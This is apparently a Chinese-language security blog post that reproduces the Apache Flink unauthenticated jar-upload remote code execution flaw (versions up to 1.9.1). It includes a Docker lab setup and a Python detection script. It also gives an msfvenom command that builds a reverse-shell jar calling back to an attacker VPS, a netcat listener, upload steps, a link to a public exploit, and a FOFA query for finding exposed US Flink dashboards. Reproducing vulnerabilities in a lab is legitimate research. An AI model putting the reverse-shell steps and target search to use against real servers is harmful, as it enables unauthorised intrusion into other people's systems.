目录
apache flink
影响范围
站点特点
docker搭建flink环境
漏洞复现
简单的漏洞检测脚本
漏洞利用exp
FOFA搜索
apache flink
Apache Flink是由Apache软件基金会开发的开源流处理框架,它可以用来做批处理,即处理静态的数据集、历史的数据集;也可以用来做流处理,即实时地处理一些实时数据流,实时地产生数据的结果;也可以用来做一些基于事件的应用,比如说滴滴通过Flink CEP实现实时监测用户及司机的行为流来判断用户或司机的行为是否正当。
用途:应用场景包括实时的机器学习,实时的统计分析,实时的异常监测等等。
2019年11月11号,安全工程师Henry Chen披露了一个Apache Flink未授权上传jar包导致远程代码执行的漏洞。由于Apache Flink Dashboard 默认无需认证即可访问,通过上传恶意jar包并触发恶意代码执行,从而获取shell。
影响范围
<= 1.9.1(最新版本)
站点特点
抓取站的包,可以看到该zhan站点在实时的进行刷新
docker搭建flink环境
用的ubuntu系统,编写docker-compose.yml文件,内容如下
version: "2.1"
services:
jobmanager:
image: flink:1.9.1 //如果要换成其他版本如1.9.2就换成flink:1.9.2
expose:
- "6123"
ports:
- "8081:8081"
command: jobmanager
environment:
- JOB_MANAGER_RPC_ADDRESS=jobmanager
taskmanager:
image: flink:1.9.1 //如果要换成其他版本如1.9.2就换成flink:1.9.2
expose:
- "6121"
- "6122"
depends_on:
- jobmanager
command: taskmanager
links:
- "jobmanager:jobmanager"
environment:
- JOB_MANAGER_RPC_ADDRESS=jobmanager
执行docker-compose up -d 启动环境
进去docker环境里面,查看版本 是1.9.1
docker exec -it 容器id bash
访问8081
漏洞复现
生成jar文件
在kali中执行下面的语句(要公网服务器的ip,不然可能反弹不了shell,要是目标在公网上,你给个内网地址当然就反弹不了了),生成jar文件
msfvenom -p java/shell_reverse_tcp LHOST=公网VPS的地址 LPORT=端口 -f jar >fuck.jar
VPS开启监听
nc -lvp 6666
提交jar文件
按照下面的步骤进行提交,然后点击submit
接收反弹shell
这个bash有点简陋,直接输命令就行,别以为没有反弹成功
注意:我用了1.9.2/3的版本也能够利用成功,为啥?
简单的漏洞检测脚本
python poc.py url
#author xcc
import requests
import argparse
class Apache_Flink():
def url(self):
parser = argparse.ArgumentParser(description='Apache Flink任意Jar包上传导致远程代码执行漏洞检测POC')
parser.add_argument('target_url',type=str,help='The target address,example: http://192.168.140.153:8090')
args = parser.parse_args()
global target_url
target_url = args.target_url
print("Apache Flink任意Jar包上传导致远程代码执行漏洞检测POC!!")
print("正在执行检测...")
print("目标地址:",target_url)
return target_url
def check(self):
url = target_url + '/jar/upload'
try:
res = requests.get(url=url, timeout=4)
s = res.text
if "Unable to load requested file" in s:
print('Exploit Success')
else:
print('Exploit Failed')
except:
print('请求失败')
if __name__ == '__main__':
test = Apache_Flink()
test.url()
test.check()
漏洞利用exp
github上大佬的:https://github.com/LandGrey/flink-unauth-rce
直接进行命令执行
FOFA搜索
fofa关键词:
"apache-flink-dashboard" && country="US"
——心,若没有栖息的地方,到哪里都是流浪